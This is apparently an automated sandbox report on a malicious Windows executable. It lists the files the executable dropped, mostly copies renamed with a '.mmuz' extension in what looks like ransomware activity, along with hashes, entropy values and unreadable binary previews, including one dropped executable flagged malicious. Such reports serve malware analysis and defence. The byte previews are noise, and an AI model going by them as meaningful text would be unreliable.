Preview:	[1005..........^....w...V..a.Ep. .\|.no@..N..=2..1...v..!>$6..."Gj.5.p;..%....j..........\|........~f"n.L}.5ZS.4..7.x..^.x..5.....#.R.YN.;i.G<P.5.5.B..c..K);.v\|/.fb..v8.(..ra...+aO...$...#...Y....W..5...(..d..\.rxV.+..S.n......Ko1}....g.FP..V\|.e#.6b7..@C.b..`.\7.^.....4..k.-5h..._.j...A..B>..`~.....e..k/. 7l.......z(..,..W...9/..s..q\|%r,[.kvb..._.v.m...!b.........$h.......1...5N....c.rSE.......16.Ci8U:.....~......0.+.m....<6.m.M.j..}lx.cZ......B.g..Q...'n.....H.R....f....A.]Q1e.G..g.X3.v.....X...n....c..I..?.9qA>5......e....G.Bw............_......JX...v"S..N/RC..l'..f....xK.t..#..V..wgi$.m....H......aq..:...1...6f......O....[...ADry-n(EY..k.v.n..s..(c[lI-.Y...6z..,D.j.."...-.z.3F...p...U.IdkG..+2.#.a%.i.=....0.>......5.)Vx.p-$..;8.!..!...e...7c2.y.+X.~.o.+..8.>..._.v.,.%Rj.....P.C.Y..zq....._.]..<tZ3..r,...j.P.W...@p@c.....vPa...]..r.L{...S.6.i......x..o...+..Y.#.6....P.O..H\|...E..........=.CB.6-...!.Q...V...........b...9...+.F.f......fw.....

C:\Users\user\Local Settings\Temp\cv_debug.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.884005475194574
Encrypted:	false
SSDEEP:	48:YRv6UkQSwxDc2L6zBdLQ0qm21I9y/0z18D:2vL1c2Luix1N/C6
MD5:	AFC8D8856A69C630A5B787261DE95ABC
SHA1:	4AFC2FA078D533D96EBE4B13A4FA64DABF6B0740
SHA-256:	DB41A61F5B1236BD5DF4E6748E7B4B067CFE3D48E3FD62B38AB0D4820FCACD01
SHA-512:	3126162157BD31F3623C797C6C1F898EDCD0BB20C0577B89613B552703597813370B9246289FA4E54E06CB5F30B9ABD1529180A2398D9F9B5DC60E161E25FE8E
Malicious:	false
Preview:	{"logI..F!I.$}..hW.p......#..I.....P.JI...02..Wa..O;>]>...,.?...\..:;..F..\.7..1..YP...l..pX.>....].ug..`.w.OD.w.4Ts#I.d^'?^.T.5l.8u..V...@.O.b6b....ip.....j.....#D....{mew.+4).5..6..@<...3..w{Z..j].........B,..+G}'C.it.....-....H.....@_....@.....[.....cy....$.....dt...\.9J.i..S....k...$...#w..(....W.Me.Z...Jg..+....g..\!.H........q....c.B...F..t1a.H..m._..).y.9......$.C.{.....k....`.....[2...$_.`...>.}.@...5.......;8.]...U.h.].i."n....y...[y..I.'.!..[R.Rw...wb..8......n.....`N./..^\|l....l^.\k....`.V...&.;..R.....^<!O......l~.X...X....Y....#{N.q...te4...]E.*..V....#NG.^.~..."6].G.Q.......N..b....fy/:n.%.cm;.o.=G..X.....g..........'.v.(or.s. .H..O.!....V.........s+....kI....--.S:?....].@Z'..E....%...[.V.....g...c=.Evk....Z.RI}.O..W.R8?........,..u.......5.vS..L....6...wV.<..<`)..8=......y......T....Q..4....%.y8..u...X..wq/....[.8......7..\|....B......rck.'6Z/.uP .6..0.m.R.<..'..V#..y.+nP.q...4.UJI....Sn...>........g.N.EP.....o2..-...q6.q

C:\Users\user\Local Settings\Temp\user.bmp.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.174187153730849
Encrypted:	false
SSDEEP:	3072:9Qn1mlNOJcuDqzhlzcJTxQho2iDNrwXHFMfedi6Jymb6j:9Qn1mlN8MhlzcZxKoNrwXHFMf6PJymGj
MD5:	9DF9A7CA59EC57CDB6444E7C017147FF
SHA1:	F825669C9426E36A9228A92E65373A792018D078
SHA-256:	93BDC8B9E3CBBDAC756BEF5E09B40A5A69D018807484325BEBFC76A91940E533
SHA-512:	CD7B0FC2ABB0D63E001315BF2CE962761294C59DDF6BF4FEA947DAB806F5CF77129F94291AE19DDF0F1B45D1087E301D555C399BA64E3B28DC74ED205A1BBD55
Malicious:	false
Preview:	BM80...Z...b.\|>.K.f...G..`....Z^RZ5..6........crO....8...k.,..\....z.:.5{.{.k.=.zU..MT.k..#...g.....w2...t.....ld..n.G.UV...hP.....j.o....4b.3...If../XJY.(U.....2..w...y4e}S.#.....,K......n...$./.$x.....m..../g....X.'.....bj.{y...!....J1.aP...5(pH.7i#....]#...4\|..@..[...%C..:.1h.p..<.....EV{,....D...n...T&,Oq.W............;..(..N......P.p}3mi..F..VC.:.O/mv ...g..7.]u..h!._3.!!oI2.F....-......-.......6.oe..H..(....{~..&[.vv.@.5.....;8...#.\L.:%bDw8.i.F..T.}.n......Y.1H..*G{v.._...1.....o.O.aS...#.l~h.v........8.......rL...}L../....:.c.7....A05:...m...>............wD.=y...._..4b.OS.b.z9`zy.N....._.VQ.U..N.b....+............X.a.-....zvWw..<.D......Wo@}u.....].7..@.....dl%....{.l...YD...m0....e.....L.Q.e...=@C`+f..O....7K.=k..+......o.y.A......b..f...!p.Lq..-..Kbe.....dS"..;......NW.H...uP0..].....%.Z....lV...;+.8QH?.J>.c1nj.".[.R$...\.=......?.[K. ...9..._.Y..P[.A.>x}..E...gGR..^...-.^G.............r...D..k.1.N+@....9P7

C:\Users\user\Local Settings\Temp\jones.bmp.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.175843695735174
Encrypted:	false
SSDEEP:	6144:Y9XOHbAH0KVN4GJCZKKIqnbB2YLeuENv+S:UIbAn4iMfjvhS
MD5:	3B46FEB917006C61EAC169EC320081AF
SHA1:	0922EEA483CD182D6C25769900CA12BF38E00844
SHA-256:	A60351677BBABA78FE09C84F5D44170E0BBC9E0833AB0EDFAF3AB64DEB5B6628
SHA-512:	75C81D7F4987F0244D7D001BA21E8E24911FA55648D950B8B450222E90554FD782CCEAA15115BBCC5FE5176E76CCA3A992943D2EC7A80F0F794442C1AD2021FD
Malicious:	false
Preview:	BM80.......(.'e.G{#0d.sG......%....r....I.=4...Q.v&...(.U...}<...d#YqM.....H1..,7M.}.;...k....P.LI3z......+...fW.\X....yRX..d]_U8`.}..h...F.....C..v...G.s,...a[..(b....z..Mi=.y.....N....z.."......lr.f.@.\#..X..Q.9..D.......l...2..}.=]fEO..?..p.+..l..B.[4.(Z..hW.(F.2....Y..r.I..u.M.Z&.#.@..........o..`..3..I..@.r..E.....c{.,......jx!77e..N.]..z.z..../.^A1....>W.z..A#.g....^..w.)......@>Lg.y..kU:...yLu.1.".zCP2._..$bD(..vMx.M..`7...{....e...Y&z.u.x2...I..;.Sl8L..:1r.......f2......$.%..K....;.X.0..Zf)T.._5.Mk.>.....Z..,f}PPV...V;.Z..C.;....Gt.=PM..UJ..O...........C....v:H...5V..F...a8l..[....]..+E<(.?.y.......X.b'..p....b.......na.>=%Z_?...EM..Y......b.\.3...=..`..@...b..%~........0N.A\..p...`...%..v.t#vh<7....l...d..~/....V`...L....C.....3.Z-.B........2t.P.J......8..d......6................E.G&..3.O. .>..q.".m..1).G.J.o..h........h..x+...$,}.Wd.N.e....f.. x.G......4FA..2...d.....{.c.u.b.%\....s/N..Y-....=.;.n.....m......

C:\Users\user\Local Settings\Temp\jusched.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	34065
Entropy (8bit):	7.994369531659082
Encrypted:	true
SSDEEP:	768:1ZV7JEF8c3x9BfX/kIC4A3DWv/TCf85ec7oATD:vgFF3RHkz4sQCEws7D
MD5:	A1F11A81C993A1652EAFA08C8FA20132
SHA1:	9AC72FCA023CC03A9E4C06D1D989B46345B884B4
SHA-256:	195B8F14FBFF5CD9A4F9BBBA820C48B64092D9352FFBB0A1624B384175E28E4A
SHA-512:	006DEA5528D1B6A331CD27FFD1C0895CB043E581A0D990369AD5A6E2CE83BFBAF7696016F4313D77F551BC1A54A7F6EF82782B6B14FE67E0B693548A7199824D
Malicious:	false
Preview:	[2023N.......88......T..t..px.F............P..!..C.Tv....WO.b....N.........O.D...8m....T.#L.m[DH{G..#N....aSB.`...I....}.N..RC..U.7.:...[78.-{.<]...V.../.....Q.....<..A../E........N...^9@;>.+.....i.^..a..}a".}$-.)DHz.U...K.9....3.3L..X..........4.m...!..X.....W.^..G..M./.j..G.5......<..$...........\..3...B;0.+.A}.61.O9.<.6..E\|.s.....UO...ze...D.U.r,].g.y.........o...)AY....$.."...../....T.-..u ...U..d.a.0)3..NY"7..Z.......U.VT....i...i....h.........\|.5j......M.9............!:{)5aF ....ig....@......yw .8.uMK..M.........Wz........yW..+H....3...H.%..N...}AX...m.O...U.......k.d,.G......vU........y......4kq.4..8.......l.\\|.c.<.E_....xIX.s......\|..E.O.o.".S.....$.s..;.G...nA..U..y-..cf..i...c.{.....o.z.Y...k.%...h.......p.#}.U.'.g,.f..C.0.{.j..~/.l.x.......8.............l~ ..sc.c{U^...+..`j..>.....d..[......U......>$2.........N1.D..]dj"Cu..S.9q.[y.#..K...{P<.cfz.......PA..'..=.....d.r......%..3.,..7.;A.7.o.s........e..}z.D{...$u..W.]

C:\Users\user\Local Settings\Temp\msedge_installer.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	12129
Entropy (8bit):	7.984011896445366
Encrypted:	false
SSDEEP:	192:VZ5ie6gfXEPMGuaiRJPhYpvSoPZhtgj+rBF0dxlBYR4ogOHl7xWWOW0z3NR6/a4R:LIiMPAEpvSChtgSrkJuRlgOFHxue/at+
MD5:	2D2664B0C8B7FB7E416003585F39DB82
SHA1:	7EE2AC6D0E723F314514492198747A127A908BFE
SHA-256:	E9037F1C54E47B7285C82BBCC876BCB780F4B609193920D1A08A70035AB6F4A4
SHA-512:	4FBAFF3A2B0E64ECADDD651819E0B8F64F0F105B7E6A686B2D258080D2B3777E5D1444C06118A447765CBAC881999A1728828279848E6D308C9B70158E35CC73
Malicious:	false
Preview:	[660:&..qND..E@...u.!..mm.+5\S.?#"n..2a.7..)..$[..Vw..W.m\.+... "_.NIJ.0...._.B..~.........6:.d.$;$SSK.X..g1.aj.q..:...A.`.[..v.L........%0D..6.q.g...%....n.n.y.....$.~..4\|.....>.-.w.g^T......\.E.=!.~....m^...#..Wp]....~.J3..N....._....V..h...}'...>......:40...~.);z..{....j..\.y......gP..[..W.E.a ..zIj\|q...4u...\|...3U~....`Ha....wJ..d.....&..0.]r..A..?........4XE..m^..."..6L)..).y7.-...?...[?.s...>..t......E-...HBb.s.\|..x..?.J...f.W...p.3.w.]....C.......$....Q...%......L..~..0..'.D.x....Y..b..4...v..At..].i...jd8r.........;.[..`........0. .v...R(...Eq^.:A.9..#.\.I...O.~......C...[A..E..D\|g......V.k.d......%f......1m.....i.b..#F..q.\...Z.s.<...}.A..K%.".gC..8.3!..B...#....&.=*.........W..4...m.UP...u`.O.........&DU..?.k.....4..vr....:.....WT..r....c.(#.u%.6.....\|o2....JG.Z[9..P..[./.......;.#?8. c....!...I.&._h.PtN.......a.............LZ...xJ.F.$..D.i.P.M.F..q.'...O0....OR.7.Aq...L.MI.....jJ"......:...~<D.3nn8.4 X......L+..z..^....\.Y.R.

C:\Users\user\Local Settings\Temp\offline.session64.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997182319246555
Encrypted:	true
SSDEEP:	1536:m+IeWqsYNsy7Hng7tiLzzmMeTWhPLlbJHHHpDpr/4Ktl:m+IHbqasneoP59HVl
MD5:	AD37FFCDF6485DCAFA108CAF8849589F
SHA1:	3053EE842925FB6A135483DC433DFD75E481AEE1
SHA-256:	8AF9FC7A37CC8CEF6C6BC05400FEB897CD6AD298EF5060BB63916C9D483E8E90
SHA-512:	37567BEDDA07D800791E2A249EFC19F04900A55193CFA09334E0DDE70F2D44A7E30B546F3A55E343BA78C0C785EAD29D779A1CF47BEC1E8610A8BCF84C9DB9A4
Malicious:	false
Preview:	1G.f....o.F...1.........R..$"...7.......4^....@........r4........PDoF........I.../:D.}....2.e.".AIT..?....bQ.R(..+.1,-0.E...)J......N.;..y.l..9.{...!....";S.....5.v.!. ....4_..k'...C5.).3C...ML.('..u.Q)j......Z.._@...(j...D.\...._.%..T..B.q.@?.2e._.T.{..s....[.G<..j.Q..x...@..1......2...j.`.<..p6f.FX.-e.Y+....k"..h..>.@5S..kZ.l.A..4.q.1.DJ.zm.ZV=..(...FA...d^......~.Ll.M....y..".b.P...4.$v+."j....WSq...4.Rdv...jSC}.2.2.&.Gp..FW.b.....9.LD...~0e..vZC..~.O..&..........P.e.^}..j.B...$4....b...&R...b..[....ALC.......5>:.O$..E.w...m....4...]...T..;X.4Z..;..M.....7.h{..YA.f.h#...C..Gn....":.._i.K[.]>.....d....R..B...8 .hZ..$.g.c[VW.."U..u.2UE.;\.Xh..Z...u/.EU..AyRa.A........e&..a^.e...R.L....."R....b...0..j../E..?..U#0F#.-...&.N.^.B?.w..x..5........I.$...cd.vS.C.2..^.)...\..C./L....*.3.=.d.hF.1...f..B.)....UMX............i.$L..h...#...<...Xl...,v5.n({.....hP\|....I.>Q.L..]w..;....7iD\|.O...yoD.E......)..P..u9.....4{....-...M....q.9..L..Kw..._...

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.797271494756364
Encrypted:	false
SSDEEP:	24:y2sAr/UCulW0s2LlZ1xBHTDiZhglZVY0ONJqRc4kbD:y2si/UCu80sOxBHTD8hAa0ON8CD
MD5:	B67951BDDA210728B922361CE73FBBEF
SHA1:	0FC7BF3D7955DD82C252D81A628982387D418E5C
SHA-256:	DE5DC56200886155A872533C297FA4C33E4754BFBA770A3536995A7A85D23165
SHA-512:	A2C36C02583C3530A0761306D94C937C534EE94E43A7E43B180EBF645EEFD7C04014964B8391CCE7F84434FB16BD16A50D46C2324FCC127F5E4481BE8C06FAB5
Malicious:	false
Preview:	RNWPR.].......w..aghQ........{..............s)^v.@7..>s.Q"..~!..Q...dE..(?6xP\|..\|.W.Dvi(..q.......F..f..p?".d."..,L.X.......8.$...f..;lL..q\(._3..0..........6...T.8Z~.dY<{.~".........C...HL.;..u..3....W.2.B.?f...a.(/-... E...[.,X=._.K..[.s....1{.....?..X^.>...........[.6ts.]...S.\!.tH. ..!T.7.<.....G{Wr<X}...p..f..el..0q....Z.......E,...t...Q.Pc.......O..S....?.e~+..;.2g"..=q_.)..WV....!....6L.....v..HJt...:!1D.g...GL.K..w...Zf....r.f..j^wU<...&..3......E....mm"$..UO3."^.........Pf..i.\|...eO.......S.._b.Od......@.u..HAX.z;>.Z.g.X...Qm.a'.d..RS.:...Db..%.....\A.\.l<F.p..._h...d?o..;%iB.E......Yl,<..e..}.........ES'u.N..2%<..........6..R\k.O....m\..j...1].j..b....[@<..A....!........".!?....:~..6S.......&..(...[i.L...(....7...N.@...1qi.).E..u:....b2.sQ[j.....$..V......T.7..?k.......7[.;4..W."....B[..[.......'C`C......C?m....x..P..#......Nk;*..0L._.C.=V..b8l@.g..k........[.[..~.]..x.......R..N.....c.[,..TB.J.'K-dYUDKE4rrBmSPsf8srHMsyP40jle9uyxD

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	662029
Entropy (8bit):	6.820250502621898
Encrypted:	false
SSDEEP:	6144:DijjqGtWAdZmEwvq/895K+FVbn94ofjGTxSBYCnyTRgbi9cnipVHaeuFM7U5Stsr:b3AdZm7v75K+7j94omEfr4cnSg0K
MD5:	85DC2D618CA7AEDD70D1387AA2DBF96E
SHA1:	186759BB4D818FBDB481849C863D0E9284104353
SHA-256:	C3817DB9EABC67BBD324D0B545668C6460B6DDA28C88D75F8E98CE0C985B81F3
SHA-512:	A3C5081D6E77AAF98803AB9F6868EB83E39EA30343E21C5CE040C250FAA277A447E9CF5DE07DC748B0B9F35DAAE3234974B64095CBF494C2E065C74C79B6FFAC
Malicious:	false
Preview:	RNWPRR.....:..O.6...J.mic..fN.x.....Y^3.j.@xa.......].....}\|_.@.............D.U..9U..r..i....+#..Q.1..O..WQ.Fi=....A./..)..."4.."...q.'..GW.......]z.H....sM...s...H!@...S..V.'m.\F..9.q....A.@r..A.pC.....J.M....+....)..I.4...1...!....S..=.....L..$.i..y..s{......0..X...x.....?.Fb...k........n\....!U.!J.....,8.^.}.Ng....o...(.q4......s.J...w.$........(.\|.pG<..`........>.v.......m.=)..X<..&H.~..1.#.......m...T.D.H.Wz....r.M.u?n..n$^...}..p........b}_.p.-.+z.O\|8.,;...J..:n..].V.7.%.Ye.\|.._...%...G'.....#.q.c.h....j.....c1,.3..)q ha....1..\|.q2=....G....^,.[.Q4.G..@<x(....O0..~....).?.s......D:...Q..T?;92....\..6.&......UT.,.\.EJH...mXA.9H<.2..x.Ar..Q..J.3.._..+F_.~e"93a....[zM.....O.~l.g.^..!..m{....3R.Oa.=d-8,eh....Yw{.,...........G8..3v.0.Y...>.w..b.)..9.QnW0...... .._./H\..[.8lj..U.).9..P..0?+.<.....Q.+.'5.z#.T.......w.W.c`...bw}.K..suq^Di!.i.TY)9..8..a..j.n./..7.E...8.N..$..X{n.{.a...=,..w?#y.u/.[\|Z....s..I......3..\|kn..!....u?Ibo$P:

C:\Users\user\Local Settings\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	193321
Entropy (8bit):	7.869645311015602
Encrypted:	false
SSDEEP:	3072:6nBc/O3B99wNcJPm9FYuqnmpTKfbTMOQTqfuOGsCds/hny3X9gN8rmBLE1+MI6vZ:6Bc/ANm3YoTOvWcGsCdsJy3X9OaCLE1D
MD5:	B04FC3EC3975750C33F33E970FECEE23
SHA1:	B17783251398234D361C17003F23866EAC9C89CE
SHA-256:	61AD52AD3FA668F99AB32CF77E4A8CA509CCFF6B50B25D8098A9E8BD7353EEED
SHA-512:	B580ACF8FF3AFF9A2E6BA9E47B1DD9349717C0EB57C09A458EA41CC3A7D65B939AADD7605AD017C657396ADC1B9329E846BB0A6D81F0DA154E66F9BCEBE3B3AA
Malicious:	false
Preview:	RNWPR.K.a0..:..y3.Q.=....&.dh......O..E\.......4S...{ !..\|w.L.P....MPQ0.\bb}nh...s.e.....]..-y.q.w~.G...;..G...%...\z.......eMb.....n.%.....h.NC.8....T..p3..l.p...Vp.)....d..%..H.(.Y]..v.^?...}o..%.V.r0cn.N...J4."......^....O..."s....u.s[H.i//^.m..F...]..6.{...hG.@..vM.w.%.}..#...".g....k.!...z.?\|:(nF.?..?..^.F......Lc4.-./...h..Za..wc4n.?..d.)..4..8....$.3".....o)........q..$.S:.Z.v..R....Z......v.3?h.dC.qP98._...Q..NYH....0&./ ..E.s..7..]y..T.^.Wpyp..Ly........6.....]B3v>Q...ut)Hd%.3..l.......#+R...Q.gS../..t.7......`>(..@...E.$l.xZ.. @.gim........-..+.3./L.......^P.A.......f....h ...ta.&,j...]+.e;.}Yf.n...W.qQ.'i..q..".SI ...^.]...@.6.._....5..a. ..5.....aC..3.....\...#.yj.t[Do...K;0.qr...Q.A..Q.o...........\|ko.@....>U\|.l...6y..'..:.$.w1..J..Yr.Q/u'c...?c_B#.i.sR.N.v......b.U..p.%np.gS'.G.a...../{S.(.]...t..`..a.y-....g[....e.....I..A......2..r..b/f...%A..?..s[}......M!$......x.37,.]...q)yW..{.l..IT..Kl.pBEh.a... ..o.....;

C:\Users\user\Local Settings\Temp\prep_ui_win32_bundle_V8_perf.cache.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	240221
Entropy (8bit):	7.547999084350477
Encrypted:	false
SSDEEP:	6144:C56qR7bIJqNS5geTBVDylyA7doyHgKHrVcaN6EQ:oli5geDDyly0k2ro
MD5:	3CEC0E0650651F9148CC56C228FA7CE9
SHA1:	01247CA6B0E01874B3DD2AD89081594BC05C95CC
SHA-256:	2F90EF85F451E4E033DA40D6EF56C483CEC11BD2FE835B20D8CB3DD3109DE28B
SHA-512:	4A51330A118C02F75D2CB25705036817AE108DC75FF103E1F1FAC63A61B0895664E225E668104AE786748D0214DAE81F8B1C0103558180CD9BE3BB4840EF6748
Malicious:	false
Preview:	RNWPR)rk.(.......!...a.....L..q{.....?+....2J)g..#9.C..&=@.\...........5.{\|..~;..@.z..:..B.X.....<..c....N...}.$..P+..Y)xk..KOA.\|r.A"...l..<O.5.vj..e.3v..`B.2.Y$U0.`.W...#..Z...d..<.pZ..\|9.n.I..%Q.y..$:.3......rF....y..5..fmK.dZ..4g.A.....)....W.e..k..Cu....9...:jI.....D'B':.f.ev....P.{J:...)(#...A.......G!..B..D....O........H.\..j.,.o_kP..'s.Hv.m.[o2.:..'t!}fs...1c./...I.a....@.)]...\6=..vO..0..U......t.z5.....l\|d.%\2.=Tg.>..W.i@....E..4.....L......!.....V.'...K."...f..d.......;......2t.....e.S6.d..p.Q.....=.+...w........G./)qp..mS..l.7..5R@...Ps..@tH.YO.D.P.....z}...{.".7.,...s..M...........-=...n.Rt...YN..O....IN...Y...M...j.?.f...O1Uf..\|.B.h..*...f.e.%#q...}...7...kzT.n(.e.54?.2.>.g..../Km..+...h..m..bi....r.;....6......r5.>.....M-<...<^=.1N...m....y..n.U.7...6-...0...-.q..@..S{.zEr_/k.Q...O....d%K.....a...6.....O.,..e.p.....l...y.Hbo...:..T..aUI.R....[...... .l.....?...W.))U%.f.v...g..2tb.....sg....{.Q...l.wW.UB.%.%..A.b1.....N.'

C:\Users\user\Local Settings\Temp\tmpF2C2.tmp.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	811854
Entropy (8bit):	7.617240670498545
Encrypted:	false
SSDEEP:	12288:KKWcZkb2eaSsOlMOe0TCHSyxtbdGDtAl/HTG8EHpUMc4PwunvuhEFou:PWQ6TebHSwdQDahHRjM9wQ2h0ou
MD5:	27FEDAFB59DB569D59CE22A6596C9615
SHA1:	6F0B50EC81392B9037070A9C1A0E5511CAE46D00
SHA-256:	F008B28A26DD9B7BF0A623DA96675D1105B7DF3042FAD0A86E5416FDD3D92142
SHA-512:	648BD6C004577F5D06F84D760A9B685093CEB9A0BC451B63FA127152EB9C839BC0AA36A38752C6EA7CCB2770688CE9C9F0D66D639917ADAA860A49E5DFEF0C4F
Malicious:	true
Preview:	MZ........~.....?m`......."r..5..aZ;y5.........B....=$uOf....q.-.N.s)8'..S4!...x...T..=8.TfiG2...N.r..^.;...#....o.\.....+.......w..?.[.&...J... T.0.7.j7'..P...&..w.[O0..ZL...... '.-7F..b6m.kK..-...t..NmF...0.x....F-5V.(.....e..i.7..uA.....Q......X.+....-..iW..YM]..P....../.U...k.t....F..$...c.Qx.....E.2r..[..\|....;#..3.o...d.Gv.t.u./..........O_4.DQ...;....Ha.....n(g&7%..F..g'TT.B......,....t3.......r;`Q*..P^<..Ip. +'!{..GK......^.eT.c...._...7K..'\H...D.4.....}...:;.v.f.<g..a..5..{...........h`..YF.cA....^......\....$^._4<..'".SV....=..._][6.....%.-..3w..8...R..m.Y...9).....0...5..@y.I.......t..M........zvd..>.j...oe..KUI.....a..}..Z.{..EN.c.RI....WV.u7..P..TW.....-..L....S.i.S..a...l...i.M..J......../PQ....xQC.fUo~]..y^..>..ib.B~ @....b..!.F....9..:9.......(.c...!Mke..^....y..{x...rdm...R...dA.z.x..[...p.W..N.C/...;t;B......{..j.....;....I..~.B.,.....4...D...B.xS..2`M.q]f..V.?..[.".H.Z.....\|...}.~.....M....q.d.(.)......T.

C:\Users\user\Local Settings\Temp\wct1CF4.tmp.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997645983505399
Encrypted:	true
SSDEEP:	1536:o3RdSzWckY1GQKPPLNAxrYvXNUfWydiGUxozZtKAHOK:o3HSycYjXLWxrYfGWT/CAgOK
MD5:	7ECDE0806190E61C6CE591685CA2835F
SHA1:	3399859D20C7D021BA7E11B1CCBA696B344DEC90
SHA-256:	D1B91C610ABE9FC6602F68AB446598BF3026EA446F1F4948B8B5B056BB03D2AE
SHA-512:	9ADCD230C0C63193B561F093E235EE8E4D0FF5B00D7A17ACD7F9C60D9377C7D65376F624AD96E204ADB53111913DC71361E8EAE1560C2D6E03CDAAEC7BA7E411
Malicious:	false
Preview:	{"ram...o.....E@..8.2..Z.)...!...c-.{omx!...I&I\|/.t......]..7\|_./.......].\|.w.....8.o.uR...P.#...U.0.[cN.[^.3.RN....a.IE....o.Ij.N....\|h.`h.#....%.....b1 qS.ur%.i...........m^.>....ac..=..V-.e..@.$.e.R..............Oz.....w=..,=.J.f...m..s.(.=2.+v.VjJ.P..8N.......c..?.)L>.0..8N ..^-.iY......'.NK1..(....NA.?..m..&T...f3...`.p#<..9....[uj.).!.j.".........!..l....L...M.\|.V..X'.s>....._....q.g4].....6Z..6......0....3}.8......xJ...B_...........<.m.M1. ..z.j.lu....\|.)..s..vuD...",...$^......Z...Sx..0.Nb<...!...Nv.......mD..x...?..CP...f_.`..Df.....K4.u.<h..)..f{['........3..5....Ky.......e..@.A..F...(...TO..S..iY.......C.} .....Z....2lxa.]..;$.p78I....=x.....O...6\|..........J).;.Kj../golW.o...........:#[.)H..N{..'?./.;...CT....S..5uz...........+\p..P....a.&..B.$.....sy.05.z.....(.........E.c..^........`..\|\;..rz./.dG..........U..\.D..1.....}...].. _.w"`.....\|.GW.h.J;.* .....}h.(.P....r....mXC8"...3...RF7.k..t..$..L..h.2.w..#s.u.1.T.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.818342816815467
Encrypted:	false
SSDEEP:	24:Z7remuW6I1Zv8vaWEgx1tKZMbdQ61tv5VXdTAwNEwBwPkbD:ZGmH1ZDLghKmR51tvLdT86wWD
MD5:	F6B0E00AC2AA70170E342270E91CB00F
SHA1:	1EABC07F6042AEAD77F43043B8F3F269C3517335
SHA-256:	9D6B64573D983316B1B667DCE58031BC3702006705AA9864645E6CF3962E8E46
SHA-512:	7901DA90BE1B5DBE4AD5DFB5293AF94DEBEC367DDE242DC8CC15F63BF97593C8892BAA51856968271787F1C267A8123CBF72F60D3E6FD4E4FBF812EE15F7F07A
Malicious:	false
Preview:	<?xml.U.....C..?....&u..-.n.,...X.g..U....^.=0....=....M}yG[...5.6.EcLh.............'..JT..`..h.&.T...g..{.e.......`.%..Q......V.M...^S.....M.).xky..OR.!.4.-0..9..IBm....i.VY..L....M.b(..."..F.....F{..+b0....}6+........R......(......t....{m.A...}QC..7.....pzk{..l{...s)..J..`M.;...FJ.....f .%._DmB...t.I.)...x..-.M...Nt....L.....]....[...F3...tld.}..N7....P(...('6i..X.N...S.......K....H..SB.^....h......K;....7......iqG.._..$.Q_.....I2...k.Y.?I47..(....Y....b.>8.f...\.......Q....%B.C<...m\|.....@...F...g6.ww..6......i.}7. .j.f......n....%_...@N..@...N#`SD..B..j.X..[.b.~.o....''..J....1..!.o(U.RJ3...R.3.P......~f6.N.A..~...@.5.....U./............yO.#;.K(...eB.l.........Fysim..&...Rn....u..glrw.QZ"..B..cZ....7k?..4E....~.....N.k.....4.u..I..{v!0FOc.\|.t%..z....x...{.7/j..........>.....K..U)0r2-....L..A..H?r....[..!....T..k+.d^....L.;KlF"...^r..L+...(.[>i......h.r'...0q.....m.)M.k..<./;..Lo..o.EF...r...}2.../.S`w......d,:I..L......W.knp8

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.818342816815467
Encrypted:	false
